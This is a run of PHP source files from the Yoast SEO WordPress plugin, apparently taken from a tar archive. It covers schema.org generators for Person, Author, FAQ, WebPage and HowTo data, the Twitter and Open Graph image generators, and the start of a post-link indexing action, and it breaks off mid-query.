			'@id'   => $this->helpers->schema->id->get_user_schema_id( $user_id, $this->context ),
		];

		// Safety check for the `get_userdata` WP function, which could return false.
		if ( $user_data === false ) {
			return $data;
		}

		$data['name'] = $this->helpers->schema->html->smart_strip_tags( $user_data->display_name );
		$data         = $this->add_image( $data, $user_data, $add_hash );

		if ( ! empty( $user_data->description ) ) {
			$data['description'] = $this->helpers->schema->html->smart_strip_tags( $user_data->description );
		}

		if ( \is_array( $this->context->schema_page_type ) && \in_array( 'ProfilePage', $this->context->schema_page_type, true ) ) {
			$data['mainEntityOfPage'] = [
				'@id' => $this->context->main_schema_id,
			];
		}
		$data = $this->add_same_as_urls( $data, $user_data, $user_id );

		/**
		 * Filter: 'wpseo_schema_person_data' - Allows filtering of schema data per user.
		 *
		 * @param array $data    The schema data we have for this person.
		 * @param int   $user_id The current user we're collecting schema data for.
		 */
		$data = \apply_filters( 'wpseo_schema_person_data', $data, $user_id );

		return $data;
	}

	/**
	 * Returns an ImageObject for the persons avatar.
	 *
	 * @param array<string|string[]> $data      The Person schema.
	 * @param WP_User                $user_data User data.
	 * @param bool                   $add_hash  Wether or not the person's image url hash should be added to the image id.
	 *
	 * @return array<string|string[]> The Person schema.
	 */
	protected function add_image( $data, $user_data, $add_hash = false ) {
		$schema_id = $this->context->site_url . Schema_IDs::PERSON_LOGO_HASH;

		$data = $this->set_image_from_options( $data, $schema_id, $add_hash, $user_data );
		if ( ! isset( $data['image'] ) ) {
			$data = $this->set_image_from_avatar( $data, $user_data, $schema_id, $add_hash );
		}

		if ( \is_array( $this->type ) && \in_array( 'Organization', $this->type, true ) ) {
			$data_logo    = ( $data['image']['@id'] ?? $schema_id );
			$data['logo'] = [ '@id' => $data_logo ];
		}

		return $data;
	}

	/**
	 * Generate the person image from our settings.
	 *
	 * @param array<string|string[]> $data      The Person schema.
	 * @param string                 $schema_id The string used in the `@id` for the schema.
	 * @param bool                   $add_hash  Whether or not the person's image url hash should be added to the image id.
	 * @param WP_User                $user_data User data.
	 *
	 * @return array<string|string[]> The Person schema.
	 */
	protected function set_image_from_options( $data, $schema_id, $add_hash = false, $user_data = null ) {
		if ( $this->context->site_represents !== 'person' ) {
			return $data;
		}
		if ( \is_array( $this->context->person_logo_meta ) ) {
			$data['image'] = $this->helpers->schema->image->generate_from_attachment_meta( $schema_id, $this->context->person_logo_meta, $data['name'], $add_hash );
		}

		return $data;
	}

	/**
	 * Generate the person logo from gravatar.
	 *
	 * @param array<string|string[]> $data      The Person schema.
	 * @param WP_User                $user_data User data.
	 * @param string                 $schema_id The string used in the `@id` for the schema.
	 * @param bool                   $add_hash  Wether or not the person's image url hash should be added to the image id.
	 *
	 * @return array<string|string[]> The Person schema.
	 */
	protected function set_image_from_avatar( $data, $user_data, $schema_id, $add_hash = false ) {
		// If we don't have an image in our settings, fall back to an avatar, if we're allowed to.
		$show_avatars = \get_option( 'show_avatars' );
		if ( ! $show_avatars ) {
			return $data;
		}

		$url = \get_avatar_url( $user_data->user_email );
		if ( empty( $url ) ) {
			return $data;
		}

		$data['image'] = $this->helpers->schema->image->simple_image_object( $schema_id, $url, $user_data->display_name, $add_hash );

		return $data;
	}

	/**
	 * Returns an author's social site URL.
	 *
	 * @param string    $social_site The social site to retrieve the URL for.
	 * @param int|false $user_id     The user ID to use function outside of the loop.
	 *
	 * @return string
	 */
	protected function url_social_site( $social_site, $user_id = false ) {
		$url = \get_the_author_meta( $social_site, $user_id );

		if ( ! empty( $url ) && $social_site === 'twitter' ) {
			$url = 'https://x.com/' . $url;
		}

		return $url;
	}

	/**
	 * Checks the site is represented by the same person as this indexable.
	 *
	 * @param WP_User $user_data User data.
	 *
	 * @return bool True when the site is represented by the same person as this indexable.
	 */
	protected function site_represents_current_author( $user_data = null ) {
		// Can only be the case when the site represents a user.
		if ( $this->context->site_represents !== 'person' ) {
			return false;
		}

		// Article post from the same user as the site represents.
		if (
			$this->context->indexable->object_type === 'post'
			&& $this->helpers->schema->article->is_author_supported( $this->context->indexable->object_sub_type )
			&& $this->context->schema_article_type !== 'None'
		) {
			$user_id = ( ( ! \is_null( $user_data ) ) && ( isset( $user_data->ID ) ) ) ? $user_data->ID : $this->context->indexable->author_id;

			return $this->context->site_user_id === $user_id;
		}

		// Author archive from the same user as the site represents.
		return $this->context->indexable->object_type === 'user' && $this->context->site_user_id === $this->context->indexable->object_id;
	}

	/**
	 * Builds our SameAs array.
	 *
	 * @param array<string|string[]> $data      The Person schema data.
	 * @param WP_User                $user_data The user data object.
	 * @param int                    $user_id   The user ID to use.
	 *
	 * @return array<string|string[]> The Person schema data.
	 */
	protected function add_same_as_urls( $data, $user_data, $user_id ) {
		$same_as_urls = [];

		// Add the "Website" field from WordPress' contact info.
		if ( ! empty( $user_data->user_url ) ) {
			$same_as_urls[] = $user_data->user_url;
		}

		// Add the social profiles.
		$same_as_urls = $this->get_social_profiles( $same_as_urls, $user_id );

		if ( ! empty( $same_as_urls ) ) {
			$same_as_urls   = \array_values( \array_unique( $same_as_urls ) );
			$data['sameAs'] = $same_as_urls;
		}

		return $data;
	}
}
wordpress-seo/src/generators/schema/author.php000064400000005712147510273100015600 0ustar00<?php

namespace Yoast\WP\SEO\Generators\Schema;

/**
 * Returns schema Author data.
 */
class Author extends Person {

	/**
	 * Determine whether we should return Person schema.
	 *
	 * @return bool
	 */
	public function is_needed() {
		if ( $this->context->indexable->object_type === 'user' ) {
			return true;
		}

		if (
			$this->context->indexable->object_type === 'post'
			&& $this->helpers->schema->article->is_author_supported( $this->context->indexable->object_sub_type )
			&& $this->context->schema_article_type !== 'None'
		) {
			return true;
		}

		return false;
	}

	/**
	 * Returns Person Schema data.
	 *
	 * @return bool|array Person data on success, false on failure.
	 */
	public function generate() {
		$user_id = $this->determine_user_id();
		if ( ! $user_id ) {
			return false;
		}

		$data = $this->build_person_data( $user_id );

		if ( $this->site_represents_current_author() === false ) {
			$data['@type'] = [ 'Person' ];
			unset( $data['logo'] );
		}

		// If this is an author page, the Person object is the main object, so we set it as such here.
		if ( $this->context->indexable->object_type === 'user' ) {
			$data['mainEntityOfPage'] = [
				'@id' => $this->context->main_schema_id,
			];
		}

		// If this is a post and the author archives are enabled, set the author archive url as the author url.
		if ( $this->context->indexable->object_type === 'post' ) {
			if ( $this->helpers->options->get( 'disable-author' ) !== true ) {
				$data['url'] = $this->helpers->user->get_the_author_posts_url( $user_id );
			}
		}

		return $data;
	}

	/**
	 * Determines a User ID for the Person data.
	 *
	 * @return bool|int User ID or false upon return.
	 */
	protected function determine_user_id() {
		$user_id = 0;

		if ( $this->context->indexable->object_type === 'post' ) {
			$user_id = (int) $this->context->post->post_author;
		}

		if ( $this->context->indexable->object_type === 'user' ) {
			$user_id = $this->context->indexable->object_id;
		}

		/**
		 * Filter: 'wpseo_schema_person_user_id' - Allows filtering of user ID used for person output.
		 *
		 * @param int|bool $user_id The user ID currently determined.
		 */
		$user_id = \apply_filters( 'wpseo_schema_person_user_id', $user_id );

		if ( \is_int( $user_id ) && $user_id > 0 ) {
			return $user_id;
		}

		return false;
	}

	/**
	 * An author should not have an image from options, this only applies to persons.
	 *
	 * @param array   $data      The Person schema.
	 * @param string  $schema_id The string used in the `@id` for the schema.
	 * @param bool    $add_hash  Whether or not the person's image url hash should be added to the image id.
	 * @param WP_User $user_data User data.
	 *
	 * @return array The Person schema.
	 */
	protected function set_image_from_options( $data, $schema_id, $add_hash = false, $user_data = null ) {
		if ( $this->site_represents_current_author( $user_data ) ) {
			return parent::set_image_from_options( $data, $schema_id, $add_hash, $user_data );
		}

		return $data;
	}
}
wordpress-seo/src/generators/schema/faq.php000064400000005643147510273100015050 0ustar00<?php

namespace Yoast\WP\SEO\Generators\Schema;

/**
 * Returns schema FAQ data.
 */
class FAQ extends Abstract_Schema_Piece {

	/**
	 * Determines whether a piece should be added to the graph.
	 *
	 * @return bool
	 */
	public function is_needed() {
		if ( empty( $this->context->blocks['yoast/faq-block'] ) ) {
			return false;
		}

		if ( ! \is_array( $this->context->schema_page_type ) ) {
			$this->context->schema_page_type = [ $this->context->schema_page_type ];
		}
		$this->context->schema_page_type[]  = 'FAQPage';
		$this->context->main_entity_of_page = $this->generate_ids();

		return true;
	}

	/**
	 * Generate the IDs so we can link to them in the main entity.
	 *
	 * @return array
	 */
	private function generate_ids() {
		$ids = [];
		foreach ( $this->context->blocks['yoast/faq-block'] as $block ) {
			if ( isset( $block['attrs']['questions'] ) ) {
				foreach ( $block['attrs']['questions'] as $question ) {
					if ( empty( $question['jsonAnswer'] ) ) {
						continue;
					}
					$ids[] = [ '@id' => $this->context->canonical . '#' . \esc_attr( $question['id'] ) ];
				}
			}
		}

		return $ids;
	}

	/**
	 * Render a list of questions, referencing them by ID.
	 *
	 * @return array Our Schema graph.
	 */
	public function generate() {
		$graph = [];

		$questions = [];
		foreach ( $this->context->blocks['yoast/faq-block'] as $block ) {
			if ( isset( $block['attrs']['questions'] ) ) {
				$questions = \array_merge( $questions, $block['attrs']['questions'] );
			}
		}
		foreach ( $questions as $index => $question ) {
			if ( ! isset( $question['jsonAnswer'] ) || empty( $question['jsonAnswer'] ) ) {
				continue;
			}
			$graph[] = $this->generate_question_block( $question, ( $index + 1 ) );
		}

		return $graph;
	}

	/**
	 * Generate a Question piece.
	 *
	 * @param array $question The question to generate schema for.
	 * @param int   $position The position of the question.
	 *
	 * @return array Schema.org Question piece.
	 */
	protected function generate_question_block( $question, $position ) {
		$url = $this->context->canonical . '#' . \esc_attr( $question['id'] );

		$data = [
			'@type'          => 'Question',
			'@id'            => $url,
			'position'       => $position,
			'url'            => $url,
			'name'           => $this->helpers->schema->html->smart_strip_tags( $question['jsonQuestion'] ),
			'answerCount'    => 1,
			'acceptedAnswer' => $this->add_accepted_answer_property( $question ),
		];

		return $this->helpers->schema->language->add_piece_language( $data );
	}

	/**
	 * Adds the Questions `acceptedAnswer` property.
	 *
	 * @param array $question The question to add the acceptedAnswer to.
	 *
	 * @return array Schema.org Question piece.
	 */
	protected function add_accepted_answer_property( $question ) {
		$data = [
			'@type' => 'Answer',
			'text'  => $this->helpers->schema->html->sanitize( $question['jsonAnswer'] ),
		];

		return $this->helpers->schema->language->add_piece_language( $data );
	}
}
wordpress-seo/src/generators/schema/abstract-schema-piece.php000064400000001432147510273100020415 0ustar00<?php

namespace Yoast\WP\SEO\Generators\Schema;

use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;

/**
 * Class Abstract_Schema_Piece.
 */
abstract class Abstract_Schema_Piece {

	/**
	 * The meta tags context.
	 *
	 * @var Meta_Tags_Context
	 */
	public $context;

	/**
	 * The helpers surface
	 *
	 * @var Helpers_Surface
	 */
	public $helpers;

	/**
	 * Optional identifier for this schema piece.
	 *
	 * Used in the `Schema_Generator::filter_graph_pieces_to_generate()` method.
	 *
	 * @var string
	 */
	public $identifier;

	/**
	 * Generates the schema piece.
	 *
	 * @return mixed
	 */
	abstract public function generate();

	/**
	 * Determines whether the schema piece is needed.
	 *
	 * @return bool
	 */
	abstract public function is_needed();
}
wordpress-seo/src/generators/schema/webpage.php000064400000011417147510273100015707 0ustar00<?php

namespace Yoast\WP\SEO\Generators\Schema;

use WP_Post;
use Yoast\WP\SEO\Config\Schema_IDs;

/**
 * Returns schema WebPage data.
 */
class WebPage extends Abstract_Schema_Piece {

	/**
	 * Determines whether or not a piece should be added to the graph.
	 *
	 * @return bool
	 */
	public function is_needed() {
		if ( $this->context->indexable->object_type === 'unknown' ) {
			return false;
		}
		return ! ( $this->context->indexable->object_type === 'system-page' && $this->context->indexable->object_sub_type === '404' );
	}

	/**
	 * Returns WebPage schema data.
	 *
	 * @return array<string|array<string>> WebPage schema data.
	 */
	public function generate() {
		$data = [
			'@type'      => $this->context->schema_page_type,
			'@id'        => $this->context->main_schema_id,
			'url'        => $this->context->canonical,
			'name'       => $this->helpers->schema->html->smart_strip_tags( $this->context->title ),
			'isPartOf'   => [
				'@id' => $this->context->site_url . Schema_IDs::WEBSITE_HASH,
			],
		];

		if ( empty( $this->context->canonical ) && \is_search() ) {
			$data['url'] = $this->build_search_url();
		}

		if ( $this->helpers->current_page->is_front_page() ) {
			if ( $this->context->site_represents_reference ) {
				$data['about'] = $this->context->site_represents_reference;
			}
		}

		$data = $this->add_image( $data );

		if ( $this->context->indexable->object_type === 'post' ) {
			$data['datePublished'] = $this->helpers->date->format( $this->context->post->post_date_gmt );
			$data['dateModified']  = $this->helpers->date->format( $this->context->post->post_modified_gmt );

			if ( $this->context->indexable->object_sub_type === 'post' ) {
				$data = $this->add_author( $data, $this->context->post );
			}
		}

		if ( ! empty( $this->context->description ) ) {
			$data['description'] = $this->helpers->schema->html->smart_strip_tags( $this->context->description );
		}

		if ( $this->add_breadcrumbs() ) {
			$data['breadcrumb'] = [
				'@id' => $this->context->canonical . Schema_IDs::BREADCRUMB_HASH,
			];
		}

		if ( ! empty( $this->context->main_entity_of_page ) ) {
			$data['mainEntity'] = $this->context->main_entity_of_page;
		}

		$data = $this->helpers->schema->language->add_piece_language( $data );
		$data = $this->add_potential_action( $data );

		return $data;
	}

	/**
	 * Adds an author property to the $data if the WebPage is not represented.
	 *
	 * @param array<string|array<string>> $data The WebPage schema.
	 * @param WP_Post                     $post The post the context is representing.
	 *
	 * @return array<string|array<string>> The WebPage schema.
	 */
	public function add_author( $data, $post ) {
		if ( $this->context->site_represents === false ) {
			$data['author'] = [ '@id' => $this->helpers->schema->id->get_user_schema_id( $post->post_author, $this->context ) ];
		}

		return $data;
	}

	/**
	 * If we have an image, make it the primary image of the page.
	 *
	 * @param array<string|array<string>> $data WebPage schema data.
	 *
	 * @return array<string|array<string>>
	 */
	public function add_image( $data ) {
		if ( $this->context->has_image ) {
			$data['primaryImageOfPage'] = [ '@id' => $this->context->canonical . Schema_IDs::PRIMARY_IMAGE_HASH ];
			$data['image']              = [ '@id' => $this->context->canonical . Schema_IDs::PRIMARY_IMAGE_HASH ];
			$data['thumbnailUrl']       = $this->context->main_image_url;
		}
		return $data;
	}

	/**
	 * Determine if we should add a breadcrumb attribute.
	 *
	 * @return bool
	 */
	private function add_breadcrumbs() {
		if ( $this->context->indexable->object_type === 'system-page' && $this->context->indexable->object_sub_type === '404' ) {
			return false;
		}

		return true;
	}

	/**
	 * Adds the potential action property to the WebPage Schema piece.
	 *
	 * @param array<string|array<string>> $data The WebPage data.
	 *
	 * @return array<string|array<string>> The WebPage data with the potential action added.
	 */
	private function add_potential_action( $data ) {
		$url = $this->context->canonical;
		if ( $data['@type'] === 'CollectionPage' || ( \is_array( $data['@type'] ) && \in_array( 'CollectionPage', $data['@type'], true ) ) ) {
			return $data;
		}

		/**
		 * Filter: 'wpseo_schema_webpage_potential_action_target' - Allows filtering of the schema WebPage potentialAction target.
		 *
		 * @param array<string> $targets The URLs for the WebPage potentialAction target.
		 */
		$targets = \apply_filters( 'wpseo_schema_webpage_potential_action_target', [ $url ] );

		$data['potentialAction'][] = [
			'@type'  => 'ReadAction',
			'target' => $targets,
		];

		return $data;
	}

	/**
	 * Creates the search URL for use when if there is no canonical.
	 *
	 * @return string Search URL.
	 */
	private function build_search_url() {
		return $this->context->site_url . '?s=' . \rawurlencode( \get_search_query() );
	}
}
wordpress-seo/src/generators/schema/howto.php000064400000012211147510273100015426 0ustar00<?php

namespace Yoast\WP\SEO\Generators\Schema;

use Yoast\WP\SEO\Config\Schema_IDs;

/**
 * Returns schema HowTo data.
 */
class HowTo extends Abstract_Schema_Piece {

	/**
	 * Determines whether or not a piece should be added to the graph.
	 *
	 * @return bool
	 */
	public function is_needed() {
		return ! empty( $this->context->blocks['yoast/how-to-block'] );
	}

	/**
	 * Renders a list of questions, referencing them by ID.
	 *
	 * @return array Our Schema graph.
	 */
	public function generate() {
		$graph = [];

		foreach ( $this->context->blocks['yoast/how-to-block'] as $index => $block ) {
			$this->add_how_to( $graph, $block, $index );
		}

		return $graph;
	}

	/**
	 * Adds the duration of the task to the Schema.
	 *
	 * @param array $data       Our How-To schema data.
	 * @param array $attributes The block data attributes.
	 *
	 * @return void
	 */
	private function add_duration( &$data, $attributes ) {
		if ( empty( $attributes['hasDuration'] ) ) {
			return;
		}

		$days    = empty( $attributes['days'] ) ? 0 : $attributes['days'];
		$hours   = empty( $attributes['hours'] ) ? 0 : $attributes['hours'];
		$minutes = empty( $attributes['minutes'] ) ? 0 : $attributes['minutes'];

		if ( ( $days + $hours + $minutes ) > 0 ) {
			$data['totalTime'] = \esc_attr( 'P' . $days . 'DT' . $hours . 'H' . $minutes . 'M' );
		}
	}

	/**
	 * Adds the steps to our How-To output.
	 *
	 * @param array $data  Our How-To schema data.
	 * @param array $steps Our How-To block's steps.
	 *
	 * @return void
	 */
	private function add_steps( &$data, $steps ) {
		foreach ( $steps as $step ) {
			$schema_id   = $this->context->canonical . '#' . \esc_attr( $step['id'] );
			$schema_step = [
				'@type' => 'HowToStep',
				'url'   => $schema_id,
			];

			if ( isset( $step['jsonText'] ) ) {
				$json_text = $this->helpers->schema->html->sanitize( $step['jsonText'] );
			}

			if ( isset( $step['jsonName'] ) ) {
				$json_name = $this->helpers->schema->html->smart_strip_tags( $step['jsonName'] );
			}

			if ( empty( $json_name ) ) {
				if ( empty( $step['text'] ) ) {
					continue;
				}

				$schema_step['text'] = '';

				$this->add_step_image( $schema_step, $step );

				// If there is no text and no image, don't output the step.
				if ( empty( $json_text ) && empty( $schema_step['image'] ) ) {
					continue;
				}

				if ( ! empty( $json_text ) ) {
					$schema_step['text'] = $json_text;
				}
			}

			elseif ( empty( $json_text ) ) {
				$schema_step['text'] = $json_name;
			}
			else {
				$schema_step['name'] = $json_name;

				$this->add_step_description( $schema_step, $json_text );
				$this->add_step_image( $schema_step, $step );
			}

			$data['step'][] = $schema_step;
		}
	}

	/**
	 * Checks if we have a step description, if we do, add it.
	 *
	 * @param array  $schema_step Our Schema output for the Step.
	 * @param string $json_text   The step text.
	 *
	 * @return void
	 */
	private function add_step_description( &$schema_step, $json_text ) {
		$schema_step['itemListElement'] = [
			[
				'@type' => 'HowToDirection',
				'text'  => $json_text,
			],
		];
	}

	/**
	 * Checks if we have a step image, if we do, add it.
	 *
	 * @param array $schema_step Our Schema output for the Step.
	 * @param array $step        The step block data.
	 *
	 * @return void
	 */
	private function add_step_image( &$schema_step, $step ) {
		if ( isset( $step['text'] ) && \is_array( $step['text'] ) ) {
			foreach ( $step['text'] as $line ) {
				if ( \is_array( $line ) && isset( $line['type'] ) && $line['type'] === 'img' ) {
					$schema_step['image'] = $this->get_image_schema( \esc_url( $line['props']['src'] ) );
				}
			}
		}
	}

	/**
	 * Generates the HowTo schema for a block.
	 *
	 * @param array $graph Our Schema data.
	 * @param array $block The How-To block content.
	 * @param int   $index The index of the current block.
	 *
	 * @return void
	 */
	protected function add_how_to( &$graph, $block, $index ) {
		$data = [
			'@type'            => 'HowTo',
			'@id'              => $this->context->canonical . '#howto-' . ( $index + 1 ),
			'name'             => $this->helpers->schema->html->smart_strip_tags( $this->helpers->post->get_post_title_with_fallback( $this->context->id ) ),
			'mainEntityOfPage' => [ '@id' => $this->context->main_schema_id ],
			'description'      => '',
		];

		if ( $this->context->has_article ) {
			$data['mainEntityOfPage'] = [ '@id' => $this->context->main_schema_id . Schema_IDs::ARTICLE_HASH ];
		}

		if ( isset( $block['attrs']['jsonDescription'] ) ) {
			$data['description'] = $this->helpers->schema->html->sanitize( $block['attrs']['jsonDescription'] );
		}

		$this->add_duration( $data, $block['attrs'] );

		if ( isset( $block['attrs']['steps'] ) ) {
			$this->add_steps( $data, $block['attrs']['steps'] );
		}

		$data = $this->helpers->schema->language->add_piece_language( $data );

		$graph[] = $data;
	}

	/**
	 * Generates the image schema from the attachment $url.
	 *
	 * @param string $url Attachment url.
	 *
	 * @return array Image schema.
	 */
	protected function get_image_schema( $url ) {
		$schema_id = $this->context->canonical . '#schema-image-' . \md5( $url );

		return $this->helpers->schema->image->generate_from_url( $schema_id, $url );
	}
}
wordpress-seo/src/generators/twitter-image-generator.php000064400000004734147510273100017607 0ustar00<?php

namespace Yoast\WP\SEO\Generators;

use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Helpers\Image_Helper;
use Yoast\WP\SEO\Helpers\Twitter\Image_Helper as Twitter_Image_Helper;
use Yoast\WP\SEO\Helpers\Url_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Values\Twitter\Images;

/**
 * Represents the generator class for the Twitter images.
 */
class Twitter_Image_Generator implements Generator_Interface {

	/**
	 * The Twitter image helper.
	 *
	 * @var Twitter_Image_Helper
	 */
	protected $twitter_image;

	/**
	 * The image helper.
	 *
	 * @var Image_Helper
	 */
	protected $image;

	/**
	 * The URL helper.
	 *
	 * @var Url_Helper
	 */
	protected $url;

	/**
	 * Twitter_Image_Generator constructor.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Image_Helper         $image         The image helper.
	 * @param Url_Helper           $url           The url helper.
	 * @param Twitter_Image_Helper $twitter_image The Twitter image helper.
	 */
	public function __construct( Image_Helper $image, Url_Helper $url, Twitter_Image_Helper $twitter_image ) {
		$this->image         = $image;
		$this->url           = $url;
		$this->twitter_image = $twitter_image;
	}

	/**
	 * Retrieves the images for an indexable.
	 *
	 * @param Meta_Tags_Context $context The context.
	 *
	 * @return array<array<string,string|int>> The images.
	 */
	public function generate( Meta_Tags_Context $context ) {
		$image_container = $this->get_image_container();

		$this->add_from_indexable( $context->indexable, $image_container );

		return $image_container->get_images();
	}

	/**
	 * Adds an image based on the given indexable.
	 *
	 * @param Indexable $indexable       The indexable.
	 * @param Images    $image_container The image container.
	 *
	 * @return void
	 */
	protected function add_from_indexable( Indexable $indexable, Images $image_container ) {
		if ( $indexable->twitter_image_id ) {
			$image_container->add_image_by_id( $indexable->twitter_image_id );
			return;
		}

		if ( $indexable->twitter_image ) {
			$image_container->add_image_by_url( $indexable->twitter_image );
		}
	}

	/**
	 * Retrieves an instance of the image container.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return Images The image container.
	 */
	protected function get_image_container() {
		$image_container             = new Images( $this->image, $this->url );
		$image_container->image_size = $this->twitter_image->get_image_size();

		$image_container->set_helpers( $this->twitter_image );

		return $image_container;
	}
}
wordpress-seo/src/generators/generator-interface.php000064400000000544147510273100016760 0ustar00<?php

namespace Yoast\WP\SEO\Generators;

use Yoast\WP\SEO\Context\Meta_Tags_Context;

interface Generator_Interface {

	/**
	 * Returns a string, or other Thing that the associated presenter can handle.
	 *
	 * @param Meta_Tags_Context $context The meta tags context.
	 *
	 * @return mixed
	 */
	public function generate( Meta_Tags_Context $context );
}
wordpress-seo/src/generators/open-graph-image-generator.php000064400000014114147510273100020136 0ustar00<?php

namespace Yoast\WP\SEO\Generators;

use Error;
use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Helpers\Image_Helper;
use Yoast\WP\SEO\Helpers\Open_Graph\Image_Helper as Open_Graph_Image_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Url_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Values\Open_Graph\Images;

/**
 * Represents the generator class for the Open Graph images.
 */
class Open_Graph_Image_Generator implements Generator_Interface {

	/**
	 * The Open Graph image helper.
	 *
	 * @var Open_Graph_Image_Helper
	 */
	protected $open_graph_image;

	/**
	 * The image helper.
	 *
	 * @var Image_Helper
	 */
	protected $image;

	/**
	 * The URL helper.
	 *
	 * @var Url_Helper
	 */
	protected $url;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Images constructor.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Open_Graph_Image_Helper $open_graph_image Image helper for Open Graph.
	 * @param Image_Helper            $image            The image helper.
	 * @param Options_Helper          $options          The options helper.
	 * @param Url_Helper              $url              The url helper.
	 */
	public function __construct(
		Open_Graph_Image_Helper $open_graph_image,
		Image_Helper $image,
		Options_Helper $options,
		Url_Helper $url
	) {
		$this->open_graph_image = $open_graph_image;
		$this->image            = $image;
		$this->options          = $options;
		$this->url              = $url;
	}

	/**
	 * Retrieves the images for an indexable.
	 *
	 * For legacy reasons some plugins might expect we filter a WPSEO_Opengraph_Image object. That might cause
	 * type errors. This is why we try/catch our filters.
	 *
	 * @param Meta_Tags_Context $context The context.
	 *
	 * @return array The images.
	 */
	public function generate( Meta_Tags_Context $context ) {
		$image_container        = $this->get_image_container();
		$backup_image_container = $this->get_image_container();

		try {
			/**
			 * Filter: wpseo_add_opengraph_images - Allow developers to add images to the Open Graph tags.
			 *
			 * @param Yoast\WP\SEO\Values\Open_Graph\Images $image_container The current object.
			 */
			\apply_filters( 'wpseo_add_opengraph_images', $image_container );
		} catch ( Error $error ) {
			$image_container = $backup_image_container;
		}

		$this->add_from_indexable( $context->indexable, $image_container );
		$backup_image_container = $image_container;

		try {
			/**
			 * Filter: wpseo_add_opengraph_additional_images - Allows to add additional images to the Open Graph tags.
			 *
			 * @param Yoast\WP\SEO\Values\Open_Graph\Images $image_container The current object.
			 */
			\apply_filters( 'wpseo_add_opengraph_additional_images', $image_container );
		} catch ( Error $error ) {
			$image_container = $backup_image_container;
		}

		$this->add_from_templates( $context, $image_container );
		$this->add_from_default( $image_container );

		return $image_container->get_images();
	}

	/**
	 * Retrieves the images for an author archive indexable.
	 *
	 * This is a custom method to address the case of Author Archives, since they always have an Open Graph image
	 * set in the indexable (even if it is an empty default Gravatar).
	 *
	 * @param Meta_Tags_Context $context The context.
	 *
	 * @return array The images.
	 */
	public function generate_for_author_archive( Meta_Tags_Context $context ) {
		$image_container = $this->get_image_container();

		$this->add_from_templates( $context, $image_container );
		if ( $image_container->has_images() ) {
			return $image_container->get_images();
		}

		return $this->generate( $context );
	}

	/**
	 * Adds an image based on the given indexable.
	 *
	 * @param Indexable $indexable       The indexable.
	 * @param Images    $image_container The image container.
	 *
	 * @return void
	 */
	protected function add_from_indexable( Indexable $indexable, Images $image_container ) {
		if ( $indexable->open_graph_image_meta ) {
			$image_container->add_image_by_meta( $indexable->open_graph_image_meta );
			return;
		}

		if ( $indexable->open_graph_image_id ) {
			$image_container->add_image_by_id( $indexable->open_graph_image_id );
			return;
		}

		if ( $indexable->open_graph_image ) {
			$meta_data = [];
			if ( $indexable->open_graph_image_meta && \is_string( $indexable->open_graph_image_meta ) ) {
				$meta_data = \json_decode( $indexable->open_graph_image_meta, true );
			}

			$image_container->add_image(
				\array_merge(
					(array) $meta_data,
					[
						'url' => $indexable->open_graph_image,
					]
				)
			);
		}
	}

	/**
	 * Retrieves the default Open Graph image.
	 *
	 * @param Images $image_container The image container.
	 *
	 * @return void
	 */
	protected function add_from_default( Images $image_container ) {
		if ( $image_container->has_images() ) {
			return;
		}

		$default_image_id = $this->options->get( 'og_default_image_id', '' );
		if ( $default_image_id ) {
			$image_container->add_image_by_id( $default_image_id );

			return;
		}

		$default_image_url = $this->options->get( 'og_default_image', '' );
		if ( $default_image_url ) {
			$image_container->add_image_by_url( $default_image_url );
		}
	}

	/**
	 * Retrieves the default Open Graph image.
	 *
	 * @param Meta_Tags_Context $context         The context.
	 * @param Images            $image_container The image container.
	 *
	 * @return void
	 */
	protected function add_from_templates( Meta_Tags_Context $context, Images $image_container ) {
		if ( $image_container->has_images() ) {
			return;
		}

		if ( $context->presentation->open_graph_image_id ) {
			$image_container->add_image_by_id( $context->presentation->open_graph_image_id );
			return;
		}

		if ( $context->presentation->open_graph_image ) {
			$image_container->add_image_by_url( $context->presentation->open_graph_image );
		}
	}

	/**
	 * Retrieves an instance of the image container.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return Images The image container.
	 */
	protected function get_image_container() {
		$image_container = new Images( $this->image, $this->url );
		$image_container->set_helpers( $this->open_graph_image );

		return $image_container;
	}
}
wordpress-seo/src/actions/indexing/post-link-indexing-action.php000064400000007532147510273100021132 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Indexing;

use Yoast\WP\Lib\Model;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;

/**
 * Reindexing action for post link indexables.
 */
class Post_Link_Indexing_Action extends Abstract_Link_Indexing_Action {

	/**
	 * The transient name.
	 *
	 * @var string
	 */
	public const UNINDEXED_COUNT_TRANSIENT = 'wpseo_unindexed_post_link_count';

	/**
	 * The transient cache key for limited counts.
	 *
	 * @var string
	 */
	public const UNINDEXED_LIMITED_COUNT_TRANSIENT = self::UNINDEXED_COUNT_TRANSIENT . '_limited';

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type_helper;

	/**
	 * Sets the required helper.
	 *
	 * @required
	 *
	 * @param Post_Type_Helper $post_type_helper The post type helper.
	 *
	 * @return void
	 */
	public function set_helper( Post_Type_Helper $post_type_helper ) {
		$this->post_type_helper = $post_type_helper;
	}

	/**
	 * Returns objects to be indexed.
	 *
	 * @return array Objects to be indexed.
	 */
	protected function get_objects() {
		$query = $this->get_select_query( $this->get_limit() );

		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Function get_select_query returns a prepared query.
		$posts = $this->wpdb->get_results( $query );

		return \array_map(
			static function ( $post ) {
				return (object) [
					'id'      => (int) $post->ID,
					'type'    => 'post',
					'content' => $post->post_content,
				];
			},
			$posts
		);
	}

	/**
	 * Builds a query for counting the number of unindexed post links.
	 *
	 * @return string The prepared query string.
	 */
	protected function get_count_query() {
		$public_post_types = $this->post_type_helper->get_indexable_post_types();
		$indexable_table   = Model::get_table_name( 'Indexable' );
		$links_table       = Model::get_table_name( 'SEO_Links' );

		// Warning: If this query is changed, makes sure to update the query in get_select_query as well.
		return $this->wpdb->prepare(
